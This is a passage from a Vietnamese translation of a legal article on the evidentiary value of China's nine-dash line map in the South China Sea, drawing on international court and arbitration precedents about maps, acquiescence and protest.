Tuy nhiên, hành động này ngay lập tức bị phản ứng ngược đối với Biển Đông, Indonesia đã chất vấn đường 9 chấm của TQ ngay chính trên cơ sở của các cơ quan đại diện của đất nước này nêu ra trước cuộc họp của các nước thành viên năm 2009 cũng như trước Cơ quan quốc tế đáy biển, đó là, các mỏm đá không thể duy trì sự cư trú của con người, đời sống kinh tế riêng không tạo ra một vùng đặc quyền kinh tế hay thềm lục địa.[70]</div> <div> </div> <div> Dù các diễn biến có thể thú vị như thế nào, điều bắt buộc này, mà đúng hơn là việc điều tra nặng thực tế và kỹ thuật về tình trạng pháp lý chính xác của các thể địa lý khác nhau ở Biển Đông theo Điều 121 (3) của Công ước năm 1982 vượt quá xa phạm vi nghiên cứu của chúng tôi.</div> <div> </div> <div> III. CÁC YẾU TỐ LÀM SUY YẾU SỨC MẠNH CHỨNG MINH CỦA BẢN ĐỒ</div> <div> </div> <div> Theo một quy tắc đã được ghi nhận, [71] các thẩm phán quốc tế được hưởng sự tự do đặc biệt rộng rãi trong việc xác định trọng lượng của tài liệu chứng cứ. [72] Cảnh giác về quyền tự do theo nguyên tắc này, chúng tôi đã xem xét các tiền lệ[73] liên quan đến bản đồ để suy ra các yếu tố[74] thường được thẩm phán hoặc trọng tài sử dụng để đánh giá hiệu lực chứng minh của bằng chứng bản đồ. Cần nhấn mạnh rằng trong khi làm như vậy, chúng tôi dựa vào các tiền lệ liên quan cho đất liền lẫn trên biển không phân biệt. Mặc dù đúng là các nguyên tắc quy định việc thụ đắc những vùng biển và phân giới biển khác biệt đáng kể so với những quy tắc làm cơ sở cho việc thụ đắc và phân giới lãnh thổ, [75] câu hỏi cốt yếu này (chế độ pháp luật áp dụng được) là tách biệt với câu hỏi về bằng chứng (các bản đồ). Hơn nữa, học thuyết dường như không có sự phân biệt có ý nghĩa giữa bản đồ đất liền và bản đồ biển trong việc phân loại các quy tắc bằng chứng, và ICJ đã trích dẫn các quy tắc pháp lý bổ sung trong các vụ trên đất liền khi đánh giá các bản đồ do các bên tham gia tranh chấp nộp vào có chứa một yếu tố liên quan đến biển. [76]</div> <div> </div> <div> Các yếu tố sau đây chứng tỏ sự thiếu sót về chứng cứ vốn có của đường 9-chấm của TQ.</div> <div> </div> <div> A. Cách tiếp cận thận trọng với chứng cứ bản đồ</div> <div> </div> <div> Như một quan sát bước đầu, cần chỉ ra rằng xu hướng chung là các tòa và các toà án quốc tế không đưa ra các phán quyết chỉ đơn thuần dựa trên các kết luận về bản đồ. [77] Mặc dù những bản đồ chính xác phản ánh ý định của các bên có thể thực sự tạo thành “một cơ sở vững chắc và liên tục cho việc thảo luận” sự vắng mặt của chúng “là một sự bất tiện đáng tiếc”', [78] chúng thường sẽ đóng vai trò phụ trong việc làm vững thêm bằng chứng khác cùng chỉ về một hướng. [79] Trở lại với quyết định cho vụ Burkina Faso / Cộng hòa Mali:</div> <div> </div> <div> Các bản đồ vẫn không thể có giá trị pháp lý hơn so là giá trị của bằng chứng củng cố trong việc chuẩn nhận một kết luận mà một tòa án đi đến bằng các phương tiện khác không dính dáng tới các bản đồ, trừ khi các bản đồ thuộc loại biểu hiện vật lý ý muốn của Nhà nước, tự chúng không thể được xem như là bằng chứng về một đường biên giới, vì trong trường hợp đó chúng sẽ hình thành một giả định không thể bác bỏ, thật sự đồng nghĩa với quyền sở hữu pháp lý. Giá trị duy nhất mà chúng có là bằng chứng thuộc loại phụ hoặc khẳng định thêm, và điều này cũng có nghĩa rằng chúng không thể được gán cho đặc tính của một giả định không thể bác bỏ (juris tantum) như là để thực hiện một sự đảo ngược trách nhiệm chứng minh. [80]</div> <div> </div> <div> Lập trường thận trọng này đã được phát hiện và ghi nhận theo ý kiến của học giả có thẩm quyền, [81] và trong một số trường hợp đã được sự chấp thuận đáng kể. [82]</div> <div> </div> <div> B. Các bản đồ không tương thích nhau</div> <div> </div> <div> Khi trình bày các khẳng định mâu thuẫn lẫn nhau, sắp xếp các sự kiện cho chỉnh trang đòi hỏi cố gắng lớn. [83] Khá tương tự như vậy, khi các tài liệu bản đồ mâu thuẫn với nhau, chúng sẽ mất đi sự tin cậy. [84] Như ICJ đã nêu trong trường hợp Kasikili / Sedudu:</div> <div> </div> <div> “dưới ánh sáng của sự không chắc chắn và không thống nhất của tài liệu bản đồ được đệ trình, Tòa tự thấy mình không thể rút ra kết luận từ những bằng chứng bản đồ đưa ra trong trường hợp này.” [85]</div> <div> </div> <div> Các bản đồ với đường 9-chấm vẽ ra một hình ảnh Biển Đông khác biệt với bằng chứng bản đồ và các tài liệu khác của các nước ven biển trong khu vực. Sẽ khó khăn để đạt được một sự hiểu biết chính xác ranh giới biển và chính trị chỉ dựa trên việc đặt các bản đồ kế bên nhau. Ngoài ra, các điều mà đường chữ U thể hiện cũng không nhất quán. Như đã đề cập ở trên, đường chữ U trong bản đồ ở TQ trước năm 1953 bình thường gồm có 11 vạch, [86] trong khi các phiên bản sau này của đường nhiều chấm chỉ gồm 9 đoạn. Một bản đồ điện tử trực tuyến gần đây của Cục Khảo sát và Bản đồ Nhà nước TQ ngày 21 tháng 10 năm 2010 lại thêm một đoạn nữa vào phía Bắc giữa Đài Loan và nhóm Ryukyu, trong đó có đảo Yonaguni là hòn đảo ở cực tây, tất cả đều thuộc về Nhật Bản. [87] Không có lý do nào được đưa ra cho việc loại bỏ bí ẩn hai vạch trong quá khứ hay việc thêm vào vạch thứ 10 mới gần đây. [88]</div> <div> </div> <div> C. Ký hiệu bản đồ rời rạc / nhập nhằng</div> <div> </div> <div> Bản đồ không rõ ràng đã xuất hiện trong các tố tụng qua trọng tài trong quá khứ. Trong vụ Trọng tài Eritrea / Yemen, Eritrea đã nộp các bản đồ mô tả một đường chấm chấm hỗ trợ yêu sách của mình. Tòa án đưa ra một tuyên bố ngắn về phương pháp chứng cứ của bên liên quan:</div> <div> </div> <div> Trong một số trường hợp Tòa án có thể không đồng ý với các đặc tính của các bản đồ mà bên đưa ra mong muốn. Hơn nữa, nếu không có chỉ dẫn cụ thể từ chính bản đồ, Tòa án không muốn gán ý nghĩa cho các đường chấm thay cho màu sắc hoặc thay cho việc ghi địa danh trên bản đồ. Các kết luận trên cơ sở này do Eritrea thúc hối liên quan tới một số bản đồ của họ không được chấp nhận. [89]</div> <div> </div> <div> Đương nhiên,có sự tương tự của trường hợp này với đường chữ U, sự thiếu vắng một chú giải (legend), và lời lẽ bí ẩn chứa trong công hàm của TQ gửi Tổng thư ký LHQ đã soạn sẵn. Sự lúng túng càng lớn hơn bởi vì cách mô tả của đường 9-chấm sai lệch với các tiêu chuẩn vẽ bản đồ quốc tế được Tổ chức Thủy văn Quốc tế đề ra đích xác cho mục đích về tính rõ ràng. [90] Cần nhớ rằng TQ là một thành viên của tổ chức quốc tế này. [91]</div> <div> </div> <div> D. Ý định không rõ ràng</div> <div> </div> <div> Như Thẩm phán Oda đã chỉ ra một cách đúng đắn trong ý kiến riêng của ông trong vụ Kasikili / Sedudu, “một tuyên bố lãnh thổ chỉ có thể được thực hiện với dấu hiệu rõ ràng về ý định của chính phủ, dấu hiệu đó có thể được phản ánh trong các bản đồ. Một bản đồ tự nó, nếu không có bằng chứng hỗ trợ khác thì không thể biện minh cho một tuyên bố chính trị” (nhấn mạnh thêm). [92] Trong trường hợp này (in casu) tiêu chí về ý định rõ rệt về phía chính phủ TQ không được đáp ứng một cách thoả đáng. Sự đa dạng về cách giải thích đường chữ U do các học giả luật học đưa ra cũng như công hàm mơ hồ của TQ đề ngày7 tháng 5 năm 2009 là chứng cứ cho kết luận này. Bên cạnh các cấu trúc câu khó hiểu, các từ ngữ được sử dụng trong công hàm, cụ thể là “vùng biển có liên quan” và “vùng biển tiếp giáp” là đặc biệt khó hiểu vì chúng không xuất hiện bất cứ chỗ nào trong UNCLOS. Sự mơ hồ có vẻ như cố tình làm trầm trọng thêm, vì TQ vẫn chưa thông qua luật tạo cho đường chữ U bất kỳ hiệu lực trong trật tự luật pháp trong nước. [93] Ngay cả khi người ta có thể bới ra các ý định đằng sau bản đồ này, ý nghĩa pháp lý của chúng không nên được đánh giá cao. Trở lại bài viết nói trên của Thẩm phán Oda:</div> <div> </div> <div> Một bản đồ được sản xuất bởi một cơ quan chính phủ có liên quan đôi khi có thể chỉ ra vị thế của chính phủ liên hệ đến lãnh thổ hay chủ quyền của một khu vực cụ thể hay đảo. Tuy nhiên, một mình sự kiện đó không có tính quyết định về tư cách pháp lý của khu vực hay đảo đang có vấn đề. Đường ranh giới trên những bản đồ như vậy có thể được hiểu như là thể hiện cho yêu sách tối đa của nước có liên quan, nhưng không nhất thiết biện minh cho yêu sách đó. [94]</div> <div> </div> <div> E. Thiếu tính trung lập</div> <div> </div> <div> Khi bản đồ được vẽ lên bởi một chuyên gia khách quan, giá trị chứng minh của nó có xu hướng tăng lên. [95] Trái lại, các tài liệu bản đồ được sản xuất theo chỉ thị của một trong các bên tranh chấp sẽ được xét với sự nghi ngờ nhiều hơn, và do đó sự phụ thuộc vào tài liệu như vậy chỉ là ngoại lệ không phải là quy tắc. [96] Các trọng tài trong vụ Trọng tài kênh Beagle nhận xét như sau:</div> <div> </div> <div> Trong khi các bản đồ đến từ các nguồn khác hơn những bản đồ của các bên không thuộc vụ đó được coi là nhất thiết phải chính xác hơn hoặc khách quan hơn, trước nhất (prima facie) chúng có tình trạng độc lập, điều này có thể tạo cho chúng giá trị lớn trừ khi chúng chỉ là các bản sao chép của - hoặc dựa trên bản gốc xuất phát từ - các bản đồ do một trong các bên vẽ ra, hoặc giả được xuất bản trong một nước có liên quan, hoặc thay mặt cho, hoặc theo yêu cầu của một Bên, hoặc rõ ràng có động cơ chính trị. Nhưng chỗ nào mà tư cách độc lập của chúng không để lộ cho việc nghi ngờ về một hoặc các cơ sở nêu trên, chúng có ý nghĩa tương đối cho việc giải quyết tranh chấp lãnh thổ liên hệ trong đó chúng cho thấy sự tồn tại của một sự hiểu biết chung theo một nghĩa nào đó, như về cách giải quyết đó là gì, hoặc, chúng mâu thuẫn ở đâu, sự thiếu vắng của bất kỳ sự hiểu biết chung như vậy. [97]</div> <div> </div> <div> Việc thiếu tính trung lập là rõ rành rành đối với đường 9 chấm. Như đã thảo luận trong phần II-A, lịch sử của đường chữ U có thể được truy ngược về một ủy ban nội bộ do chính phủ Trung Hoa Dân Quốc thành lập để cập nhật các bản đồ TQ và tái khẳng định vị thế của họ. Một cơ quan chính phủ được thành lập và phân bổ nhân viên đơn phương như thế khó có thể được coi là khách quan đối với các nước có liên quan khác trong khu vực Biển Đông. Không nên quên rằng các nhà vẽ bản đồ có lương tâm vẫn có thể bị sử dụng cho các mục đích lừa đảo:</div> <div> </div> <div> Một nhà làm bản đồ … có thể được sử dụng để biểu lộ khẳng định của một nước cụ thể như nước của chính ông ta về kích cỡ đầy đủ miền lãnh thổ của nước đó là gì, bất kể tính đúng đắn của khẳng định này và không có việc doạ dẫm rằng việc vẽ đó mô tả phạm vi của một yêu sách chứ không phải là vị trí của một ranh giới được chấp nhận. Qua việc sao chép tiếp theo và việc vẽ lại của các nhà làm bản đồ thiếu phối kiểm không những các sai sót tiếp tục tồn tại mà sự kiện về việc lặp lại có xu hướng chuyển cho chúng sự thừa nhận pháp lý qua việc in ra một số lượng lớn bản đồ thống nhất với lời khai của họ. [98]</div> <div> </div> <div> F. Không chính xác về kỹ thuật</div> <div> </div> <div> Trong tiểu luận về giá trị chứng cứ của bản đồ, De Visscher đưa ra các tiêu chuẩn sau đây: “những bảo đảm về tính chính xác nội tại của bản đồ … sự chính xác liên quan tới các điểm đang tranh chấp”. [99] Theo Brownlie, "giá trị chứng minh mà một bản đồ có tương ứng với chất lượng kỹ thuật của nó”.[100] Luật về án lệ cũng chỉ ra đòi hỏi độ chính xác kỹ thuật trong bản đồ. [101] Trong vụ đảo Palmas, trọng tài duy nhất Max Huber đã viết rằng: “điều kiện đầu tiên đòi hỏi của các bản đồ phục vụ với tư cách là bằng chứng đối với những điểm pháp lý là độ chính xác địa lý của chúng.” [102]</div> <div> </div> <div> ICJ phát biểu rằng:</div> <div> </div> <div> Trọng lượng thực tế được phân cho các bản đồ đem làm bằng chứng phụ thuộc vào một loạt các cân nhắc. Một số trong các cân nhắc này liên quan đến độ tin cậy kỹ thuật của các bản đồ. Điều này đã nâng lên đáng kể, đặc biệt là do những tiến bộ đạt được qua không ảnh và ảnh vệ tinh từ những năm 1950. Nhưng kết quả chỉ mang tới tính chất trung thực hơn cho bản đồ và sự ăn khớp ngày càng chính xác giữa bản đồ và không ảnh. Thông tin xuất phát từ sự can thiệp của con người, chẳng hạn như tên của các địa điểm và các thể địa lý (địa danh học) và việc miêu tả biên giới và ranh giới chính trị khác, do đó không khả tín hơn. Tất nhiên, độ tin cậy của các thông tin địa danh học cũng tăng lên nhở kiểm chứng thực địa, mặc dù ở mức độ thấp hơn, nhưng theo ý kiến của các nhà vẽ bản đồ, sai sót vẫn còn phổ biến trong biểu thị các đường biên giới, nhất là khi thể hiện các địa danh này này ở các khu vực biên giới khó tiếp cận. [103]</div> <div> </div> <div> Dưới ánh sáng của những quan điểm này, sự ra đời của công nghệ hiện đại có thể tăng truy đòi của các thẩm phán đối với bằng chứng bản đồ. Một trường hợp nổi bật về điểm này là ý kiến tư vấn của ICJ 2004 đối với bức tường của Israel, trong đó họ dựa (một phần) vào một bản đồ điện tử được đăng trên trang web Bộ Quốc phòng Israel để xác định các tuyến đường hiện tại và tương lai của các bức tường trong vùng lãnh thổ Palestine. [104] Ngược lại, các bản đồ TQ không có vẻ có thể đáp ứng các tiêu chuẩn kỹ thuật nghiêm ngặt. Mặc dù đường nhiều chấm của TQ thường đi theo đường đẳng sâu 200 mét (đường nối các điểm có độ sâu 200m với nhau), cho đến nay nó chưa bao giờ được phân ranh giới chính xác, do đó thiếu các toạ độ địa lý chính xác. [105] Ngoài ra, có vẻ có một số sự mâu thuẫn nhỏ giữa các tài liệu bản đồ biển của TQ: các điểm cuối của các vạch tạo nên đường chữ U thay đổi (mức khác biệt chạy từ 1 đến 5nm). [106] Nhưng ngay cả vị trí của chính các vạch đôi khi có sai biệt rõ ràng với những vạch trên bản đồ ở Phụ lục I. [107] Hơn nữa, vì nó liên quan các đường trên biển, ảnh vệ tinh cũng không thật hữu ích.</div> <div> </div> <div> Một yếu tố bổ sung góp phần vào tính không chính xác của bản đồ TQ là tỉ lệ của nó nhỏ quá mức. ICJ đã than phiền các bản đồ vẽ với tỉ lệ không đủ lớn. Một ví dụ điển hình có thể tìm thấy trong Tranh chấp đất, đảo và biên giới biển:</div> <div> </div> <div> Honduras đã vẽ một bản đồ thứ hai, năm 1804, cho thấy vị trí của các giáo xứ của tỉnh San Miguel trong Tổng Giáo Phận Guatemala. Tuy nhiên, tỉ lệ của bản đồ này không đủ lớn để có thể xác định xem đoạn cuối của sông Goascoran là đoạn do El Salvador khẳng định, hoặc đoạn do Honduras khẳng định. [108]</div> <div> </div> <div> Các vấn đề tương tự cũng đã được trình bày trước tòa trọng tài. Ví dụ, Uỷ ban ranh giới Eritrea-Ethiopia cho rằng: “hơn nữa, nhiều bằng chứng về bản đồ theo một tỉ lệ quá nhỏ, hoặc quá thiếu chi tiết đến nỗi nó chỉ có thể được coi là mơ hồ trong lĩnh vực này.” [109]</div> <div> </div> <div> Cuối cùng, cần lưu ý rằng các bản đồ TQ không chứa bất kỳ chỉ dấu nào về mốc quy chiếu (tức là một quy chiếu sử dụng trong trắc địa để đo đạc) được sử dụng, đó có vẻ là một yếu tố quan trọng trong việc đánh giá độ chính xác kỹ thuật của bất kỳ ranh giới biển nào. [110]</div> <div> </div> <div> IV. BẢN ĐỒ KHÔNG BỊ CÁC NƯỚC KHÁC TRONG KHU VỰC PHẢN ĐỐI</div> <div> </div> <div> A. Tiêu chuẩn áp dụng</div> <div> </div> <div> Ngay cả khi ta chấp nhận rằng đường 9 chấm là một mô tả sai lầm của hiện thực thì điều đó không có nghĩa là nó có thể được gạt sang một bên ngay lập tức. Điều này đã được làm sáng tỏ trong vụ kênh Beagle:</div> <div> </div> <div> tầm quan trọng của bản đồ có thể không nằm ở chính bản đồ mà trên lý thuyết nó có thể không chính xác mà ở thái độ biểu lộ - hoặc hành động thực hiện - đối với bản đồ đó của các bên liên quan hoặc của các đại diện chính thức của họ. [111]</div> <div> </div> <div> Các thẩm phán trong vụ Đền Preah Vihear đã rõ rệt hơn, gửi một tín hiệu cảnh báo rõ ràng về những ảnh hưởng tiềm năng của việc sơ suất trong khi đối mặt với sự quyết đoán về bản đồ:</div> <div> </div> <div> Rõ ràng rằng các trường hợp như vậy đòi hỏi một phản ứng nào đó, về phía nhà chức trách Thái Lan trong một thời hạn hợp lý, nếu họ muốn tỏ sự không đồng ý với bản đồ hoặc nếu có bất kỳ câu hỏi nghiêm trọng nào phải nêu ra liên quan đến nó. Họ đã không làm như vậy, hoặc là sau đó hoặc trong nhiều năm, và do đó phải được xem là đã mặc nhận. Qui tacet consentire videtur si loqui debuisset ac potuisset. [112] (Ai im lặng thì dường như là đồng ý, nếu anh ta biết nói đáng lẽ anh ta đã phải nói).</div> <div> </div> <div> Một ví dụ của mối liên kết giữa bản đồ và sự mặc nhận được Ủy ban Ranh giới Eritrea-Ethiopia nêu lại gần đây: “một bản đồ có thể có chút trọng lượng pháp lý cho từng cái (per se): nhưng nếu bản đồ là thỏa đáng về mặt bản đồ học trong các khía cạnh có liên quan, nó có thể, có vai trò là căn cứ thực tế , có ý nghĩa pháp lý cao, ví dụ như cho hành vi mặc nhận.”[113]</div> <div> </div> <div> Tất nhiên, các kiểu cách thực tế của các vụ nêu trên là hoàn toàn khác biệt với trường hợp mà chúng ta đang phải đối mặt, tao ra tranh cãi về việc liệu các tiền lệ đó có thể áp dụng được ở đây không. Trong trường hợp này, chúng ta đang đối phó với một đường biên giới biển có mục đích xấu, việc hình thành nó, theo lời của ICJ, là “một vấn đề có tầm quan trọng lớn và việc thỏa thuận không phải là dễ dàng giả định trước”. [114] Hơn nữa, theo quan sát của Strupp:</div> <div> </div> <div> Yêu sách hình chữ U lạ lùng này là quá bất thường và quá đáng vượt ngoài thực tế trong các thập niên từ 30 tới 60 đến nỗi không thể hiểu được theo cách có “sự mặc nhận đối với yêu sách bản đồ” một công nhận (ngầm) của cộng đồng nước ngoài về những tham vọng “cực kỳ bất thường”, bằng cách áp dụng quy tắc qui tacet consentire videtur si loqui debuisset ac potuisset hoặc quy tắc khác, có thể nghiêm ngặt đi đến xem xét. [115]</div> <div> </div> <div> Strupp cũng nhận xét rằng:</div> <div> </div> <div> Trong những trường hợp hoàn toàn quá đáng kiểu như “tuyên bố chủ quyền mặt trăng” của “đường chữ U” ở Biển Đông rõ ràng không tồn tại một cơ sở hợp lý nào cả cho một độ “siêu nhạy cảm” to lớn về phía các nước phải đối mặt với các yêu sách bản đồ đối địch về mặt “mặc nhận”. [116]</div> <div> </div> <div> Tuy nhiên, cần thận trọng khi áp dụng một phương pháp tiếp cận trung gian. Sau khi xem xét một bộ phận lớn về việc thực hành nhà nước, trong công trình có ảnh hưởng của ông về quyền sở hữu lịch sử, Blum đi đến kết luận sau đây:</div> <div> </div> <div> Các trường hợp phản đối mới đây chống lại “yêu sách bản đồ” dường như chỉ ra rằng các quốc gia, trên thực tế, “luôn giữ một cái nhìn cảnh giác đối với các bản đồ do các quốc gia văn minh xuất bản " … Nói chung, có vẻ nổi lên rằng các nước sẽ bị đổ lỗi cho sự hiểu biết về các hoạt động lập pháp trong nước của nhau cũng như các hành vi khác được thực hiện theo thẩm quyền của họ, và lời biện hộ về sự không biết sẽ chỉ được chấp nhận trong những trường hợp đặc biệt nhất.Do đó những nước mong muốn bảo toàn quyền của mình được khuyến cáo nên quan tâm theo dõi sâu sát các hành vi chính thức của các nước khác và đưa ra phản đối - thông qua các phương tiện hợp pháp được luật quốc tế công nhận – nếu họ cảm thấy rằng quyền của mình đã bị ảnh hưởng, hoặc có thể bị ảnh hưởng bởi những hành vi đó. [117]</div> <div> </div> <div> B. Phản đối / Thiếu sự mặc nhận</div> <div> </div> <div> Giả sử rằng triển vọng thừa nhận ngầm lồ lộ hiện ra, các nước ven biển được yêu cầu phải bày tỏ sự không chấp nhận chính sách đường chữ U và ý đồ cơ bản của TQ. Một số học giả TQ đã cáo buộc rằng buộc cộng đồng quốc tế đã không lên tiếng về sự bất đồng của mình để ngăn chặn việc củng cố tham vọng của TQ ở Biển Đông:</div> <div> </div> <div> Khi tuyên bố đường 9 điểm, cộng đồng quốc tế không lúc nào bày tỏ sự bất đồng ý kiến. Không nước lân cận nào đã đưa ra một phản đối ngoại giao. Im lặng khi đối mặt với một tuyên bố công khai có thể nói có nghĩa là mặc nhận, và có thể khẳng định rằng các đường chấm chấm đã được công nhận trong nửa thế kỷ. Tuy nhiên, trong những năm gần đây một số nước Đông Nam Á, đã tham gia vào tranh chấp chủ quyền Biển Đông, mới đặt ra câu hỏi về tình trạng pháp lý của đường 9 chấm. [118]</div> <div> </div> <div> Triệu Quốc Khải (Zhao Guocai) cho rằng:</div> <div> </div> <div> “Từ lúc tuyên bố đường 9- chấm, cộng đồng quốc tế vào thời điểm đó đã không đưa ra bất kỳ sự không bằng lòng nào. Các nước liền kề cũng không đưa ra bất kỳ phản đối ngoại giao nào đối với đường 9-chấm. Những điều này quy thành một sự mặc nhận.” [119]</div> <div> </div> <div> Sự mặc nhận quốc tế này rất đáng ngờ. [120] Lấy Việt Nam như một trường hợp về điều này, chúng ta có thể thấy rằng hai phát biểu này là không thuyết phục. Các ví dụ bao gồm:</div> <div> </div> <div> 1. Một phản đối đối với các đòi hỏi của TQ qua việc tuyên bố rằng rằng họ sẽ “không công nhận bất kỳ cái gọi là ‘lợi ích lịch sử’ nào, điều đó là không phù hợp với luật pháp quốc tế và vi phạm chủ quyền và quyền chủ quyền của Việt Nam và lợi ích hợp pháp của Việt Nam trong các khu vực biển và thềm lục địa của họ trong Biển Đông”.[121]</div> <div> </div> <div> 2. Một tuyên bố đáp trả công hàm của TQ năm 2009:</div> <div> </div> <div> Quần đảo Hoàng Sa và Trường Sa là một phần của lãnh thổ Việt Nam. Việt Nam có chủ quyền không tranh cãi đối với các quần đảo này. Do đó, yêu sách của TQ đối với các đảo và vùng biển lân cận ở Biển Đông như thể hiện trong bản đồ kèm Công hàm CLM/17 / 2009 và CLM/18/2009 là không có cơ sở pháp lý, lịch sử, thực tế, do đó là không có giá trị và vô hiệu. [122]</div> <div> </div> <div> 3. Một yêu cầu loại bỏ dữ liệu khỏi dịch vụ bản đồ trực tuyến của TQ mô tả đường chữ U (nêu trên) trong hai dịp. [123]</div> <div> </div> <div> 4. Các phản kháng gần đây chống lại sự can thiệp của TQ với tàu thuyền Việt Nam, trong đó tính hợp pháp của đường 9 chấm rõ ràng bị bác bỏ. [124]</div> <div> </div> <div> 5. Nhân dịp buổi họp cuối cùng của các nước thành viên UNCLOS, Việt Nam đã nhắc lại phản đối của mình đối với đường 9 chấm theo mục 14 của Chương trình nghị sự. [125]</div> <div> </div> <div> Cách ứng xử như vậy phải tuân thủ các tiêu chuẩn pháp lý quốc tế cần thiết để làm các hành vi phản đối thấm đầy hiệu lực pháp lí khiến cho đường chữ U không thể được sử dụng để chống lại nước phản đối. Tuy nhiên, có vẻ như không khả thi khi áp dụng các tiêu chí này cho các phản kháng trước đây đối với đường chữ U trong điều kiện vị thế mơ hồ của TQ đối với bản đồ và những gì nó thực sự muốn nói. Xét cho cùng, chỉ có thể hành động bằng cách phản đối một khi nước đối lập đã thực hiện một tuyên bố chính thức và dễ hiểu. Ý tưởng này được phản ánh trong khái niệm về “tai tiếng”của hành động hoặc sự kiện đang có vấn đề. [126] Chúng tôi đã bàn bạc chi tiết các đặc điểm bí ẩn của đường 9 chấm và những ảnh hưởng về ý định không rõ ràng về phía TQ. Vì vậy, chỉ có thể phản đối đối với những khẳng định thấy được và dễ hiểu về đường chữ U trong các trường hợp hiếm hoi mà chúng xảy ra (ví dụ, công hàm TQ gửi cho Tổng Thư ký LHQ năm 2009). Theo thời gian, các tiêu chí theo sau dựa trên các tiêu chí trước trước đây. Theo lập luận, nếu tính rõ ràng của dòng-9-chấm đã được xác lập thì bản chất của sự mặc nhận như thế có xu hướng được chấp nhận chỉ sau một thời gian dài thụ động.[127] Ví dụ dễ thấy là các vụ tranh chấp về Đánh bắt cá và Quyền qua lại trên Lãnh thổ Ấn Độ trong đó ICJ suy ra sự mặc nhận từ trên 60 và 125 năm im lặng, tương ứng. [128] Đòi hỏi về ý định rõ ràng cũng đã được hoàn thành trong các tuyên bố của Việt Nam rõ ràng nhằm mục đích ngăn chặn cái đòi hỏi trở thành quyền lợi pháp lý mới của TQ. Ngoài ra, tiêu chí rằng phản đối phải nhất quán và không bị gián đoạn có thể nói là đã được tuân thủ, như minh họa của nội dung của các ghi chú nói về phản đối. [129]</div> <div> </div> <div> KẾT LUẬN</div> <div> </div> <div> Trong đóng góp này, chúng tôi đã cố gắng để khám phá một số những điều không chắc chắn về pháp lý che đậy các vạch trên bản đồ Biển Đông của TQ. Phân tích của chúng tôi đã đưa đến kết luận rằng đường chữ U, cho dù được giải thích như là một thể hiện lãnh thổ hoặc biển, rõ ràng thiếu tính chính xác, và do đó đặt ra nhiều vấn đề nếu vẫn giữ như là một phần của chính sách chính thức của TQ cũng như của Đài Loan. Nếu bộ phận đáng kể luật các án lệ là điều phải đi theo, bản đồ thể hiện với đường 9 chấm sẽ không có giá trị như là tài liệu chứng cứ trong một vụ xử giả thuyết. Trong khi có thể thấy rằng một số người nhìn ra một xu hướng mới nổi lên tạo ảnh hưởng cho sự dễ dãi đối với bản đồ, [130] chúng tôi sẽ cho rằng các luận điệu như vậy là khá vội vã. Các bản đồ không phải là các bản đồ kèm theo các hiệp ước quốc tế sẽ được tiếp nhận một cách thận trọng dễ hiểu và sẽ được đánh giá theo chức năng của chúng vẫn là điều không thay đổi.</div> <div> </div> <div> Nhưng có một vấn đề cơ bản hơn ở đây. Duy trì một tuyên bố đơn phương trong một khoảng thời gian kéo dài mà không xem xét tới quyền lợi của các bên quan tâm khác là đồng nghĩa với việc áp đặt một việc đã rồi (fait accompli). Điều này sẽ vuột mất đi khi đối mặt với luật quốc tế, luật này ngăn không cho các nước mạnh yêu sách “giành phần trọn” (lion’s share) gây thiệt hại cho các nước láng giềng yếu hơn. [131] Việc bám chặt vào đường 9 chấm cũng là lỡ nhịp với chế độ chính phủ hiện tại, [132] bao gồm các hội thảo[133] và (đề xuất) hợp tác trong lĩnh vực bảo vệ môi trường và sự đa dạng sinh học. [134] Một giải pháp thực dụng khá thịnh hành trong những năm qua là tìm cách đạt được sự phát triển chung các tài nguyên. Điều này dính dáng tới việc gác các tranh chấp lãnh thổ và biển sang một bên và ký kết các thỏa thuận tạm thời “mà không làm ảnh hưởng” đến kết quả phân định cuối cùng. [135] May mắn thay, TQ, Đài Bắc, và các diễn viên khác trong khu vực đã sử dụng các cơ chế đa phương này và tiếp tục làm như vậy một cách hiệu quả. Chúng tôi hy vọng rằng các nước có tranh chấp từ bỏ các khẳng định cực kỳ quyết đoán về mặt bản đồ và lo tập trung năng lượng của họ vào các kết quả các bên cùng có lợi liên quan đến Biển Đông trên cơ sở UNCLOS.</div> <div> </div> <div> Người dịch: Phan Văn Song</div> <div> </div> <div> Hiệu đính: Lê Trung Tĩnh</div> <div> </div> <div> --------------</div> <div> * Research Professor, President of the Department of International and European Law and Director of the Centre for International Law, Vrije Universiteit Brussel; Member of the Permanent Court of Arbitration. The substance of this article was prepared for the Second International Workshop organized by the Diplomatic Academy of Vietnam and the Vietnam Lawyers Association, entitled ‘‘The South China Sea: Cooperation for Regional Security and Development’’, 10–12 November 2010, Ho Chi Minh, Vietnam. This article is a revised version of the paper—‘‘Dotted Lines in the South China Sea: Fishing for (Legal) Clarity’’—presented at the Workshop.</div> <div> **Doctoral Fellow, Research Foundation—Flanders (FWO). Member of the Department of International and European Law and the Centre for International Law, Vrije Universiteit Brussel.</div> <div> </div> <div> [1] LI Jinming and LI Dexia, ‘‘The Dotted Line on the Chinese Map of the South China Sea: A Note’’ (2003) 34 Ocean Development and International Law 287 at 289. Trong một công hàm gửi cho Tổng thư ký Liên Hiệp Quốc, Trung Quốc tuyên bố rằng “kể từ [sic] năm 1930, chính phủ Trung Quốc đã đưa ra công khai nhiều lần [sic] phạm vi địa lý của quần đảo Nam Sa của Trung Quốc và tên các thành phần của nó”, nhưng họ không đề cập đến các hoạt động bản đồ. Vì vậy, trong khi điều này có thể có nghĩa là Trung Quốc chính thức chuẩn nhận các hoạt động đặt tên của Ủy ban, không thể suy ra các bản đồ cũng được chuẩn nhận. Xem People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/8/2011’’ (14 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2011_re_phl_e.pdf.</div> <div> [2] Zou Keyuan đề cập đến sự tồn tại của một đường ở Biển Đông có sớm hơn được nhà vẽ bản đồ TQ Hu Jinjie (Hồ Tấn Tiếp) vẽ vào năm 1914 và tiếp theo vào những năm 1920 và năm 1930. Đường như vậy cũng có thể tìm thấy trong một số tập bản đồ từ thời kỳ này. Tuy nhiên, cần phải nhấn mạnh rằng:</div> <div> </div> <div> 1. Những phiên bản sớm hơn này có trước bản đồ chính thức đầu tiên mô tả “đường chữ U”.</div> <div> </div> <div> 2. Các tập bản đồ nói trên đã được biên soạn bởi các cá nhân, do đó hành động theo khả năng cá nhân của họ.</div> <div> Xem ZOU Keyuan, ‘‘The Chinese Traditional Maritime Boundary Line in the South China Sea and its Legal Consequences for the Resolution of the Dispute over the Spratly Islands’’ (1999) 14 International Journal of Marine and Coastal Law 27 at 32–33.</div> <div> </div> <div> [3] In lại trong HU Nien-Tsu Alfred, 